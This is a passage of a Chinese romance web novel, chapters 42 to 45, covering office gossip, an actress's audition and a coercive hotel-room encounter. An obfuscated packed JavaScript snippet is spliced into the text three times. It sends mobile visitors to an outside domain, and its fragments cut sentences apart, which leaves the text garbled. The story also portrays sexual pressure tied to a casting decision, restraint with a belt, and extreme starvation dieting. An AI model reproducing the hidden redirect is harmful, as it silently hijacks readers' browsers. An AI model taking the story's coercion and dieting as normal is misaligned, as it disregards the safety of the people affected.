孟思妍倒吸一口气,堂皇到短暂失语。 “眼瞎了吗?”她气笑了,指了指自己,“你,和我,一模一样?” “对!”迟念面色平静,脸不红气不喘地说:“如果我们一起出门,一定会有人问我们是不是双胞胎,甚至有的人会直接把我当成你,我们就是复制粘贴。” 42. 第四十二章 距离上午的对呛已经过去两个小时,迟念还压着一股火,她坐在食堂靠窗位置,脑海里反复回荡那句话。 ——很丑,很土,很矮,很不怎么样。 啊!这个嘴巴猝了毒的女人。 餐盘里的午饭还剩大半,她实在没有胃口,筷子挑了几粒米,来来回回,就是送不到嘴里。 心情不好,急需安慰。 她点开手机,进入置顶聊天页。 【小迟】:呼叫伶子。 过了两分钟,对面才回复。 【可伶可俐】:? 【小迟】:在干吗。 消息刚发出去,何伶就回了一张自拍。她头上绑着发带,穿着瑜伽服,裸露在外面的皮肤白里透红。 像一颗刚成熟的水蜜桃,美得晃眼。 【可伶可俐】:我在做热瑜伽啊,准备消耗掉身体里多余的水分,马上就面试了,必须一举拿下! 迟念把饭粒塞进嘴里,慢慢敲字。 【小迟】:你不吃饭,这样不会晕倒吗? 【可伶可俐】:晕就晕吧,这几天都晕习惯了。 【可伶可俐】:忙了哈,要进高温仓了,拜~ 关掉手机,迟念叹了一口长气。 嘴里的米饭像世间最苦的药丸,怎么都咽不下去,她拿起牛奶准备喝,余光却瞥见一个熟悉的身影。 是陈昼。 他端着餐盘,径直走过来。 迟念差点呛到,忙放下牛奶,拿起桌上的随身物品,打算离开,结果刚站起来,陈昼就走到了。 活动最后冲刺期,他忙了一上午,好不容易抽出时间回来吃饭,看她的样子却是要走。 “吃饱了吗?”他放下餐盘,问她。 迟念因为上午的插曲,打乱原本想质问他的节奏,现在脑子很乱,甚至不敢看他的眼睛,低头说:“吃饱了,我得去忙了。” 陈昼见她神色匆忙,掩去失落,从衣兜里拿出一张纸,递给她。 四四方方,右下角还印着一朵粉色小花,迟念不明所以,抬头看他。 “你…”算了,陈昼拿着纸巾,拭掉她残留在上唇的奶渍,动作不带一丝暧昧,擦完之后,把纸巾塞到她手里。 无视她呆若木鸡,像什么都没发生似的坐下。 “你不是要忙?” “啊!是…”迟念六神无主地看了看手里的纸巾,胡乱放进兜里,心里想离开,身体却鬼使神差留在这里。 她说:“你…刚才又认错人了吧?” 陈昼毫无愧疚地说:“抱歉,你们实在太像了。” 迟念心里闷闷的,脑海里闪现出另一个女孩的影子。她精致,美丽,嚣张,跋扈,外表和她没有一点关系。 所以,他一直以来说认错,是在撒谎。 为什么呢? 陈昼低头吃饭,没有看到她的表情,说话时也没抬眼,此刻是在公司,自然以上级命令的口吻,“周末有时间吗?” “没有。” 他有些意外,终于抬起头,“要做什么?” 迟念胡言乱语,“陪朋友面试。” “周末面试?”他好似揪住她话里的漏洞,“我觉得周末面试的话这个工作还是没有必要去看了。” “噢。” “现在暂定你周末有时间。”他声音压低,和刚才完全不一样的问询口吻,“今晚呢,今晚有时间吗?” “没有。”她坦然回视。 陈昼微微挑眉,似乎想从她脸上看出深层情绪,“要做什么?” “陪朋友…”她差点又要说面试,紧急改口,“和朋友约了去美容院。” “结束之后呢?” 迟念不敢说没事,“结束后去吃饭。” 去美容院,然后吃饭,两个行程加起来就得三个小时,那个时间大多店铺都关门了,原定计划就这样被打乱。 他短暂停顿,突然说:“你这个朋友,就是你一直说的合租室友吧?” “是。” “她没有男朋友?” 迟念老实回答:“没有。” 陈昼想了想,“我给她介绍一个吧。” “啊?”她太意外,导致表情有些失控。 他熟视无睹,“字面意思,如果她有男朋友的话,就不需要你了,这样我就可以…”他忽然停顿,语速慢了几分,“可以请你帮个忙。” 怎么又用这个理由,迟念有些厌倦了。 “你是上司,想要我做什么直说就好,只要我能办到的,一定赴汤蹈火。” 她的语气平缓,机械,仿佛开会时向上级做报告。 陈昼自然想到之前两次的落荒而逃,这算抵触吗?当然不算,是她自己亲口说的,甩他巴掌了才算。 公司里的谣言已经沉寂,大家的注意力早已转到别处,把他们当成感情稳定的情侣,都以为到了谈婚论嫁的一步。 可笑的是,他们的关系甚至还没确定。 陈昼不是强硬的人,更不是浪漫的人,理性永远战胜感性,可现在却因为过分在意,害怕失败,变得踌躇不前。 他到死也学不会圈子里那帮人的做派,深思熟虑过后,还是决定遵照本心。 “既然今晚没时间,那就明晚?” 迟念觉得,再拒绝的话就不太好了,就算心里堵着一堆黑泥散不开,也要顾及他是上司的事实。 “好。” 陈昼松了口气,餐盘里的午饭就要凉了,他拿起筷子,余光看到迟念要离开,突然开口,“我刚才的提议是认真的。” 嗯?他刚才提议什么了… 陈昼见她茫然,自顾自地说,“我有一个朋友,家世很好,最近还开了投资公司,最重要的是,长相非常不错。” 迟念没想到他真有这种牵线爱好,可惜,她没有。 最近何伶事业心旺盛,为了拿到角色饿得都快见佛祖了,怎么可能找男朋友,这不是给上升期的自己添堵吗? 迟念替她拒绝,“谢谢,不用了。” * 何伶明天就要面试,迟念在下班路上去了进口超市,在里面转了一圈,花巨款买了两盒流心巧克力。 她拎着购物袋,推门第一眼就看到沙发上饿扁的何伶。 从包里拿出巧克力,小小的盒子,却沉甸甸,里面只装了四颗。 撕开一个包装,捏着送到何伶的鼻子下,声音带着蛊惑:“好香好甜的巧克力哦~要不要来一颗?” 何伶无力地睁开眼,虽然目光透着渴望,但是意志力告诉她,这是毒药。 “不!拿走,我不能白费力气。” 迟念“嘶”了一声,吐槽她:“你这样减肥根本不科学,把身体弄坏了,以后不来大姨妈你就老实了。” 何伶有气无力,“通往成功的捷径都是不科学的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894094|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “歪理!”迟念见她不为所动,把整颗巧克力都塞自己嘴里,苦中掺甜,是独属巧克力厚重的醇香。 “明天几点面试啊?”她问。 “导演说下午,但我得提前去。” “那你早上吃点东西吧,别面试到一半昏过去了。” 何伶摇头,“不要!以我现在的身体,就算啃树皮也全都能吸收,万一全胖脸上怎么办,那就真完蛋了。” “就一颗巧克力而已,不然我给你冲碗麦片?” “哎呀你别管我了。”何伶说话都没有力气了,翻了个身,用瘦窄的后背对着她,明显不想多谈。 迟念咂了咂嘴,把想倾诉的事抛到脑后,因为担心,忍不住唠叨,“我觉得你就不该去美容院,哪有饿了十几天跑去汗蒸的,你不要命啦?” “哎呀…”何伶的声音闷闷的,“明天会吃的。” 第二天早上,迟念不放心,走之前给她蒸了一碗鸡蛋羹,还特意写了纸条——无油版,请放心食用~ * 活动截止日倒计时两天,部门里气氛欢快,连带着担忧何伶今天面试的迟念也被感染。 欢姐早上刚到就拉了个群,兴致勃勃地组织活动结束后的庆功会,不知是谁突然艾特了下迟念。 ——@小迟,这次不是单纯的团建,大家AA,想给小陈总办个欢送会,你是他女朋友,去哪听你的。 大家本来还七嘴八舌地建议,有说去漂流的,还有说郊游的,更有甚者还提议组织个三天两夜户外探险的。 此话一出,都如梦方醒。 迟念秒变话题的中心。 ——对哦,小迟和小陈总在一起这么久,一定知道他的喜好。 ——你们也别出馊主意了,这次听小迟的。 ——@小迟,不在吗,怎么不说话? …… 洗手间最里面的隔间里,迟念坐在马桶盖上,看着消息滚动的屏幕,猝不及防被委以重任,她压力很大。 虽然他们在一起吃了很多顿饭,却什么都不知道,打出的字改了又删,手指空划了好久,还是没想出个所以然。 群消息像密集的鼓点,追赶着她马上给出答复。 ——人呢人呢,不会在厕所里吧,谁离得近,进去把小迟揪出来。 ——我!给我一分钟时间! 迟念瞳孔地震,赶紧手忙脚乱敲字。 【小迟】:吃烤肉怎么样?上次大家庆祝我入职成功的那家味道就很好! 页面安静三秒。 ——会不会太没新意了?也太平价,放开肚皮使劲吃,每个人也就A不到一百块,除非吃完再去KTV和酒吧。 ——你觉得小陈总像是和我们去KTV的人吗? ——说实话,不像,但我觉得看在女朋友的面子上应该会答应,不知道有没有机会听小陈总一展歌喉@小迟。 ——我觉得有门,小陈总刚来的时候像罗刹一样,我天天大气都不敢喘,经过这几个月的相处,我觉得他是那种面冷心热的人。 ——附议!而且活动结束了,他也要走了,应该不会再端着了,对吧@小迟。 迟念看着频繁弹出来的红@,无奈苦笑,这么一大堆问题若是问女朋友的话一定有准确答案,可惜她不是。 她也得现问。 惆怅之际,手机弹出新消息。 【陈昼】:今晚七点,停车场见。 43. 第四十三章 何伶起床的时候,眼前一阵阵的发黑。 浑身无力,缓了好久才爬起来,艰难地走到客厅。桌子上摆着两个扣着的碗,一个是鸡蛋羹,一个是燕麦片。 她像看到救济粮的灾民,感动到热泪盈眶,感叹念念简直是天使。 吃了一半,终于恢复了些力气。 面试虽然要求素颜,可她脸色很差,保险起见,涂了一层薄薄的防晒,又打了点腮红,终于勉强能看。 她打车到城郊的一栋写字楼里。 还没到中午,楼下已经站了一群俊男美女。何伶站在边缘,听到他们在聊这部戏,发现很多都是从外地赶来的。 何伶百思不得其解,这种大制作的古装剧一般会在专业的影视基地拍,怎么会来林江这种北方二线城市,还大张旗鼓地选角。 难道全是冬天戏? 时间定在下午一点,她去买了一杯咖啡,在即将喝完时收到剧组发来的消息,通知她去三楼会议室。 有四个女孩和她一起下电梯,何伶走在旁边,偷偷打量。 她们都是浓颜挂,身材也凹凸有致,都穿平底鞋的情况下,有两个明显比她高几厘米,还非常瘦。 何伶顿时生出强烈的危机感。 来之前的信心削减一半,她紧急调整状态。 如果外型打不过,那就靠履历…可短剧是行业底层,她还没演过主角,一直是配角和反派炮灰… 完了,这下信心彻底没了。 她排在最后一位,坐在走廊的长椅上,心脏狂跳,焦虑到头掉。 点开手机,先释放一波。 【可伶可俐】:念念,如果我没有面试成功,以后回老家结婚,你会给我当伴娘吧? 对面秒回。 【小迟】:?我会抢婚! 【小迟】:你在这种关键时刻发什么昏,记住,你又美又瘦又专业,这个角色就是为你量身定做的! 【可伶可俐】:如果你看到和我竞争的这几个,一定不会这么说。 【小迟】:还能是王祖贤那种级别的? 【可伶可俐】:差不多吧。 【小迟】:…没事,女三号不会选那么出挑的,不然压住女一女二怎么办? 【可伶可俐】:虽然听起来扎心,但是还蛮有道理的,谢谢你。 【小迟】:不管什么结果,第一个告诉我。 【可伶可俐】:好~ 消息发送,会议室的门开了,第一个进去的女生走出来,她的脸上看不出情绪,却对同伴耸了耸肩。 第二个人进去了。 何伶比刚才还紧张,前面还有两个,估计还得十几分钟才能轮到,如果继续坐在这里等下去的话,心脏会爆炸。 走廊尽头的拐角处是应急出口,她起身,向那里走去。 推开门,清凉的风吹拂面颊,和中央空调完全两个感觉。她深呼吸,吐气,把焦虑从身体里清空出去。 手机放回包里,手指却触到奇怪的东西,她站在窗下,敞开包口,看到乱糟糟的杂物中间躺着几颗巧克力。 是迟念偷放的,她露出笑意。 马上要面试,为了抚平焦虑,含一颗也没关系。她捻起一颗,仔细地撕开金箔纸的外包装,用了很久,才露出饱满的圆球。 她心跳逐渐平稳,在纠结一口吃掉还是细细品味时,应急出口的门开了,她转头,看到一张熟悉的脸。 好不容易忘掉的人,就这么凭空出现在面前。 花尧的外表和过去截然相反,以前是一颗蒲公英种子,看起来四散飘摇的不靠谱,现在却变成一株扎根地下的植物,正值茂盛期那种。 他穿着衬衫西裤,皮鞋踩在楼梯上,发出有节奏的脆响,没来由地让人紧张。 何伶愣在原地。 花尧姿态慵懒,嘴角噙着浅浅的笑意,走到她面前,用那双上挑的狐狸眼仔细打量后,熟稔地点评:“瘦了。” 何伶听到这句意味不明的话,想到之前的不愉快,皱着眉后退一步,冷声冷气,“要你管!” 花尧笑意更浓,目光从她脸上转移到手指,她手指很长,细葱似的白,此刻正捏着一颗巧克力球。 他忽然低头,含住那颗,偷走之前,还用舌头舔了下她的指尖。 何伶目瞪口呆。 大脑还没有反应过来,巴掌马上呼过去,在距离他的脸几厘米左右,被他的手攥住。 花尧脸颊鼓起,脸上透着欠打的得意,“很甜,我就当这是贿赂。” * 好不容易平稳的心又泛起涟漪,何伶觉得在这种时候遇到他,不是一个好兆头。她坐在椅子边缘,默默祈祷。 佛经念到一半,会议室的门开了,选角导演探出头,见外面只剩她一个,笑着招手,“你叫何伶吗?” 何伶赶紧站起来,点头哈腰地过去,“对,导演好,我是何伶。” 线上沟通过很多次,何伶一直以为她是个四十多岁那种很有资历的姐姐,结果竟然意外的年轻。 她穿着白色连衣裙,头发随意扎着,戴着圆框眼镜,看外表也就二十多岁。 “到你了。”她笑着说。 何伶点头,快速整理了下着装,跟在她身后走进去。 会议室很大很空旷,林江没有很大的影视公司,这里看起来也不像,应该是临时借来选角用的。 长条桌,后面坐了几个男人,应该是导演和制片,何伶看了一眼,长相倒是符合她的刻板印象。 选角导演示意她站在桌子前介绍自己。 她马上挺直后背,声音清脆,“导演好,我叫何伶,今年二十四岁,身高168,体重44公斤。” 说完,她侧身,停留几秒,又背过身,完成一套标准面试程序后,静等提问。 空气维持了十几秒的安静,在何伶觉得这次果然泡汤了的时候,坐在中间的男人说话了,“你这个身高,44公斤,有点过于瘦了。” 啊? 何伶想到过去半个月挨的饿,这是何苦呢。 男人翻看了一下手边的资料,皱眉说:“女三常年习武,而且要拿大刀,十来斤的铁呢,你拿得动吗?” 何伶忙说:“我拿得动,我可以增肌,练武,可以为了贴合这个角色做任何训练!” 男人有些惊讶,终于抬起头,仔细看她,“叫何伶是吧?” “对。” “我的意思是,你这个身高体重演女三不贴,但是和女一很贴。”他态度很好,甚至用那种哄小孩的诱惑语气,“想不想演女一呀?” 何伶懵了一下,第一反应这是在逗她。 娱乐圈不会这么好混的,她一个演短剧的,没背景没人脉没资源,在圈里查无此人,这种好饼怎么会落到她头上。 铁饼还差不多,能砸死人那种。 她小声说:“我还是想演女三。” 男人哂笑,和旁边的两个男人交换了一下眼神,故作惋惜地说:“我们觉得你更适合女一,这样吧,等会儿有个饭局,正好投资人也在,你们这几个待定的都过去,就算第二轮面试。” 何伶听到“待定”这两个字,激动到眼泪差点飙出来,她连连鞠躬,“谢谢!谢谢导演给我这次机会。” 走出会议室,还像在做梦。 她躲在楼梯间给迟念发消息。 【可伶可俐】:念念!今天晚上还有二面,我觉得应该能过,导演竟然觉得我能演女一哎! 【小迟】:!!! 【小迟】:女一?真的假的! 【可伶可俐】:他是这么说的,但我不敢演,怕被骂死。 【小迟】:为什么啊,你那么美。 【可伶可俐】:美更招骂,骂我资源好有金主什么的,我还是想从小角色演起,毕竟我不是科班出身,业务能力也一般。 【小迟】:有道理!支持!不过你可以吃东西了吧? 【可伶可俐】:晚上有饭局,我看到包里的巧克力了,比心~ 【小迟】:不必客气,会很晚回家? 【可伶可俐】:嗯,我感觉会很晚,你等我消息吧。 【小迟】:OK! * 饭局定在晚上六点,地点是城南的四星酒店。 何伶怕晚上不顺利,下午还是撑着没吃东西。 在指定地点和选角导演汇合,她也看到即将同去的三个女孩和两个男孩,男帅女美,站在一起很有视觉冲击力。 打过招呼之后,坐进加长商务车。 年轻人在一起,聊几句就熟了。何伶坐在靠窗位置,听他们谈起自己演过的影视剧,都是听说过的大制作。 坐在旁边的女孩见何伶一直不说话,以为她内向,主动问:“你演过什么啊?” 何伶有些不好意思,“我演的都是小成本短剧那种…” 前座的男孩突然回头,一张帅脸凭空放大,长得好看也就算了,声音竟然也那么好听,“短剧也有很多出圈的,你说说。” 何伶略有些羞耻地说:“重生八零娇养夫。” 车厢突然寂静,几双眼睛直直地看着她。 没听过? 她又说:“总裁老公,婚后狠狠宠。” 依然沉默。 “…恋恋小事。” 旁边的女孩终于反应过来,兴奋地说:“这个,恋恋小事我听说过,灰姑娘和王子的故事,你演女主?” 何伶有些尴尬,“我演男主后妈。” 空气再次沉寂,前座的帅哥也缩回去,突兀地和旁边的男生聊起了足球;令另两个女孩拍选角导演的肩膀,问等会儿饭局的事。 好在旁边的女孩很善良,她拍了拍何伶的肩膀,小声说:“你能经过层层筛选面试成功,已经很厉害了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900518|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何伶感激地看了她一眼,“谢谢!” 他们到的时候,包厢里已经坐了白天面试的导演,他抬头扫了一眼,掐灭燃到一半的烟头,示意他们坐下。 选角导演看了看门口,问:“石总还没到?” “应该快了。” “好,那我叫服务员起菜了。” 导演点了点头。 何伶坐在里面的位置,旁边还是车上那个主动搭话的女孩,她黑长直,化着淡妆,长了一双很有辨识度的异域大眼睛。 她凑过来,小声说:“你是第一次参加这种饭局吧?” 何伶点头。 她突然耳语,“这种场合导演也是陪衬,权利都在投资人身上,尤其咱们这部剧,是石家全资投的。” “石家?”何伶想了想,“哦,是那个建材…” 说到一半,胳膊突然被捅了一下,女孩隐晦地看了眼四周,声音压得更低,“这只是表面,实际是做机密项目的…” 何伶一头雾水。 半开玩笑地说:“还能是造火箭的啊?” 女孩伸手做了“嘘声”状,“你小点儿声!” 何伶倒吸一口凉气,不会猜对了吧,她挠了挠后颈,觉得就算造航空母舰的也和自己没多大关系。 “这行业跨度有点大哈~” 女孩看了看门口,见导演在摆弄手机,才敢说,“应该是年轻的一代主张的,听说还想开影视公司呢。” 这个何伶倒是有点兴趣,“真的吗?” “真的,如果影视公司能使用家族资源的话,我想和现在的公司解约。”女孩说完,反问道:“你呢,你现在签公司了吗?” “没有。” “那你想签这个…” 门突然开了,导演第一个站起来,人还没动,双手就伸过去欢迎了,“哎哟,没想到石总百忙之中亲自过来了。” 所有人都站起来了,何伶被男生挡住视线,只看到一个规矩的发顶,然后是和想象截然相反的年轻男声。 “我哪里忙了?” “哈哈哈!”导演朗声大笑,“好!不忙,今晚我们可得好好喝一场,不醉不归哈!” 何伶从刚才就觉得声音熟悉,待人坐在主位,看到那张带着笑意的脸时,太过惊愕,呆滞到忘记坐下。 那个偷巧克力的贼! 导演见她这样,顺势指了指,说:“石总,您觉得她适合演女一吗?” 花尧悠闲地靠在椅背,好像不认识她一样,从上看到下,故意卖关子:“我是外行,不太好下这种决断。” 导演见怪地拍了拍他肩膀,“欺负我是外地来的吧?什么外行,您要是外行,那我们都是外行了。” 花尧眉尾轻挑,完全一副上位者的姿态,“怎么说?” “您是资深摄像啊,眼睛堪比摄像头,要不我能把这帮人都叫过来,让您过目吗?”导演奉承地说完,摆了摆手,示意何伶坐下。 旁边的女孩眼神复杂,“你…还挺…” 何伶不是故意这样引人注意,但是也没法解释,她还想有人和她解释呢,摄像助理怎么摇身一变成投资人了。 她低头,努力降低自己的存在感。 菜陆续上来,天上飞的,地上跑的,海里游的,摆了满满一桌。 期间,几个演员也和花尧搭上话,演过大制作的就是不一样,几句话就介绍完自己,同时还拍了导演的马屁。 只有何伶,除了开始忘记坐下之外,全程没有存在感。 菜全都上齐了,却没有人动筷。 酒倒是开了好几瓶,坐在边上的男生起身倒酒,依次送到导演和花尧的面前。 花尧端起酒杯,晃了晃,意味深长地说:“酒倒是好酒,就是这菜…啧。”他扫了一眼,露出不太满意的表情。 导演顺着他的目光看了一圈,不禁疑惑,这酒店的星级和菜品,在林江数一数二了,难不成还想吃满汉全席啊。 他笑呵呵,“石总您直说。” 花尧瞥了一眼低头的何伶,笑意更浓,打了个响指,喊服务员进来。 他说:“有没有馒头?顺便再来点儿咸菜。” 服务员愣了一下,分不清他这是开玩笑还是真的要,“是那种白面蒸的,圆的,街上卖一块钱一个那种?” 花尧点头,“没错,就是那种。” 服务员无比抱歉,“不好意思,店里没有。” 花尧放下酒杯,突然不满意地板起脸,“怎么办呢,成天吃这种大鱼大肉腻得慌,突然想来点馒头咸菜了。” 旁边的男生马上站起身,揽下这个任务。 “我出去买!” 何伶后知后觉,她想到自己被他纠缠的时候,貌似说了一句睡他等于饿急吃馒头咸菜的气话,难道… 她抬起头,正对上他玩味的眼神。 那件事并没有结束。 44. 第四十四章 酒过三巡,导演终于想起今晚的主题,他眼神迷离,指着何伶和她身边的女孩说:“来,你俩站起来。” 何伶东西没吃进去,酒倒是被灌了不少,她摇摇晃晃站不稳。 花尧歪坐着,喝了很多,但眼底不见醉意。他像旧时去馆子里听戏的少爷一样,托着下巴,不紧不慢地欣赏。 大家都在等他发话。 他笑着说:“这还用问我?软那个演女一,硬那个去抗刀。” 旁边站得笔直的女孩顿时没了精气神,慌乱地看了眼导演,就算眼神里万般不肯,也没等到他站出来出来说话。 倒是旁边的何伶一激灵,忙说:“我想演女三。” 花尧微微向前探着身体,直视她的眼睛,“为什么?” “…我很喜欢这个角色。” “呵~”一声意味不明的轻笑,气氛瞬间变冷,在座的人都不敢说话。 半晌过后,花尧暗含讥讽,“你是觉得那种反派的坏女人和你自己很像?” 何伶虽是醉酒,却也明白了今天组的这个局,完全是把别人蒙在鼓里,单拎她出来当这个小丑。 是为报之前的一睡之仇? 她开始考虑,是否真的甘心放弃这个机会。 答案是不甘心。 她不年轻了,和迟念说得再不成就回老家结婚,玩笑里掺着真心,如果这次没演上,只剩两个选项。 一是离开林江,去南方找机会。 二是继续演短剧,榨干青春和热情,然后被淘汰。 何伶恍惚看到未来一片漆黑,当下正处在重要的转折点,她不能随心所欲,该低头时就得低头。 她说:“是,我们很有共鸣。” 花尧颔首,一秒回归正经,“既然如此,关于这个角色的细节,我想单独和你聊聊。” 导演秒懂,马上给今天的饭局做收尾,“那今天就差不多这样,过几天试妆,到时候再正式敲定。” 说完,大家都有眼色地站起身,只有花尧,老神在在地坐在椅子上,眼神就没从何伶身上下去过。 旁边的女孩收拾好东西,离开前捏了捏她的手臂,轻声耳语:“你知道他说这话是什么意思吧?” 何伶“嗯”了一声。 他应该是想叙旧。 ***** 酒店顶层是总统套房,半个房间被落地窗环绕,透明纱帘半掩着,微风吹过,墨色玻璃倒映着室内的旖旎。 何伶是被他从包房里拉出来的,一路电梯直上,推开门,身体猝不及防被男人抵在门后,带着酒气的吻铺天盖地。 饿了半个月的后果在此刻显现出来,她手臂无力,推搡抗拒的动作反倒像欲拒还迎,氧气耗尽后,她彻底放弃反抗。 唇上温热有力,男人整个身体压下来,恨不得把她镶进身体里,距离如此紧密,她自然感受到某处的异常。 “唔…”她喘不过气,发出声音后,脸颊被捏住,牙齿被迫打开,迎接他久违的巡视。 花尧专注又热烈,只一个多月没见,仿佛分开数年。 成年人表达思念的方式赤裸直白,他的手离开脸颊,顺着女孩薄薄的肩膀向下游走,最后停在腰间。 他贪婪地亲吻,急躁地抚摸,纤细的腰肢在掌心里扭动,他分出一丝心情,控制自己不要太用力。 她瘦了好多。 花尧自然而然认为,分开的这段时间她也是痛苦的,说来也是奇怪,他并不觉得两人之间有什么阻力。 何须用另一种身份,难道他不是这部戏的投资人,何伶就不会吻他了? 他才不信。 男人的手燥热有力,游走在后腰,轻抚着向上,路过内衣扣子时,短暂停留,何伶只觉得胸前一凉。 在她愣住时,男人乘虚而入。 身体腾空,男人轻松把她抱起来,几步走到了床边,他不急着放倒,而是在昏暗的灯光下看着她的脸。 “还跑吗?” 何伶双臂环住他的脖颈,乖顺摇头,“不跑了。” 他听到满意的回答,像小孩子收到了糖果,眼底闪烁着愉悦的光芒,“想不想和我在一起?” “嗯。”何伶顿了顿,“提前说好,我是真心想演女三。” 空气短暂沉寂,花尧突然把她放平在床,双臂撑在她两侧,居高临下地,看不清表情。 他声音无波:“你和我在一起,是为了演女三?” 何伶垂眼,手伸到旁边,揪住被子一角盖住身体。 他倒是衣衫完整,连扣子都没解开一颗;反观自己,衣服不晓得哪去了,就算盖了被子,也是处于被压制的状态。 更何况身体虚弱,一点力气都没有。 他到底想干吗,组今晚的局不就是为了这个吗,她为了这个角色都豁出去了,他怎么还叽叽歪歪。 床头的落日灯照在她平静的脸上,仿佛在解一道简单的数学题,无关风月,仿佛忘记自己也曾激烈地吻过他。 花尧身体压低,慢慢靠近真实的答案。 “你今晚和我在一起,只是为了得到演女三的机会?” 何伶没有第一时间否认,在花尧的眼里,等于默认。 他咬紧后牙,明明生气,眼神却变得轻佻无比,他大剌剌地从上打量,看到胸前裹着的被子,一脸不怀好意。 “你如果想演,裹这么紧可不行。” 何伶察觉到气氛的转变,下意识抓紧遮挡的被子,却没想到整个身体都被他翻过来,她惊叫出声。 花尧的下巴抵在她耳边,像在发最后通牒:“还要我再问一次吗?” 何伶不知道他突然发什么疯,努力挣扎后,却把两条胳膊全都送到他手里,男人力气极大,她指尖充血,胀胀的难受。 “唔…你放开我!”她胡乱踢腿。 花尧没有放开她,又轻松把她翻过来,被子在刚才的挣扎中已经滑落,这样面对面,她的身体全部暴露。 他却强制把她手臂固定在头顶,着魔了似的,紧追不舍,“说啊。” “我…”何伶没想到事情会发展到这种走向,她既羞耻又生气,奈何长期饥饿,身体被掏空,一点余力都使不出。 本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907027|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该服软,可是一想到他的所作所为,被怒气冲昏了大脑。 虽然体力不支,但不影响嘴巴输出。 “对,我就是想演,就算投资人不是你,我也会这样选!” 花尧眼神逐渐变冷,甚至怒极反笑。好,很好,她果然没有心。 那就偏不如你愿! 他单手束缚她的双腕,另一只手伸进腰间,金属的咔嚓声后,他抽出皮带,熟练地把她手捆上。 何伶:? 她终于慌了,暗暗后悔刚呈的口舌之快,皮带是死结,挣脱不开,最后还被他固定在床头的立柱上。 花尧变得冷漠,强制,身上再也看不到过去的影子,像一个刚被解开封印的暴君,只顾释放身体里的戾气。 他露出一种让人捉摸不透的笑意,“角色的事留到下次,今晚主要解决我们的历史遗留问题。”说完,慢条斯理地解开衬衫扣子,“你那晚怎么对我的,我今晚就怎么对你。” 何伶堂皇,抬腿想踢他,自以为很有杀伤力,却轻松被他捕获。他脱掉上衣,最近似乎有健身,紧实的小腹隐隐看到线条。 触觉感受加视觉冲击,让何伶突然说不出话,她眼睁睁地看他欺身压下,一个强制意味的吻落在脖颈处。 身体里热流乱窜,眼前炸开层层烟花,明明是被束缚被欺负的境况,她却生出一丝难以言说的快意。 他的唇一路向下,所到之处激起层层战栗,她刻意压抑身体反应,紧紧咬着下唇,不发出声音。 他的声音随皮肤震动一同传来。 “你很怕吧?” “嗯。”她发出鼻音。 “那求我。”他舔了舔最下面那条突出的肋骨。 “求…”何伶觉得好痒,脚趾用力蜷起,求?求什么?求你别停!? 他却好似有心灵感应一般,突兀地停住了,撑起身体,停在她上方,话锋一转,“我改变主意了。” 说完,整个人轻盈起身,顺便帮她把被子盖好。 两分钟的冷水澡,他发丝滴水,一脸清爽地回来,不顾肩膀还残留着未擦干的水渍,利落地穿上衬衫。 何伶单薄的身体裹在被子里,不知是热还是气,两颊透着不正常的红。 花尧穿好衣服,躬下身,蜻蜓点水吻了她的唇,一脸人畜无害的笑,“放心,我才不像你那样乘人之危呢。” 说完,解开缠在她手腕的皮带,穿进裤子里。 临走之前,他居高临下,“你就当今晚什么都没发生。” 何伶缓了好久好久,胳膊不麻之后,她先裹着被子下床,在沙发上找到内衣和衣服,光是穿上就用了十几分钟。 她瘫坐在地毯上,包在三米之外。 几乎用爬的过去,打开包,拿出手机的时候,看到包里躺着一颗明黄色的巧克力球。 她像饥荒的灾民看到救济粮,抖着手拿出来,撕掉包装,整颗含进嘴里。 醇厚,香甜,可身体里似乎有个巨大的黑洞,饥,渴,不是一颗小小的巧克力就能填满的。 她深吸一口气,点开微信置顶。 45. 第四十五章 迟念在群里回复完消息之后,一整天心神不宁,经理室的门紧闭着,没来上班的人为什么要在微信约她晚上七点见啊。 她忍下胡思乱想,把收尾工作做完。 距离七点还有十分钟,她收拾东西,乘电梯下楼,指尖在一层和负一中间犹疑,最后还是按了负一层。 很久没来,空气被夏季的清凉贯穿,电梯门开,她一眼就看到熟悉的车停在十几米外,车灯还闪了闪。 迟念深吸一口气,脚步加快跑过去。 车窗全开,陈昼手臂搭在车窗边缘。他今天没穿商务套装,而是一身休闲,似是为了搭配这个风格,刻意没戴眼镜。 和当初照片里的青春男大一模一样。 迟念坐上副驾驶,忍住想看的欲望,先说正事儿。 “陈经理,你喜欢吃烤肉吗?” 陈昼对于她没头没尾的发问有些诧异,反问道:“你喜欢吗?” “…喜欢啊。” 他启动车子,点头说:“我也喜欢。” 迟念松了一口气,提了一天的心终于稳稳落地,系上安全带之后,终于想起问:“这是…要去哪?” 陈昼转动方向盘,车子驶出停车场。 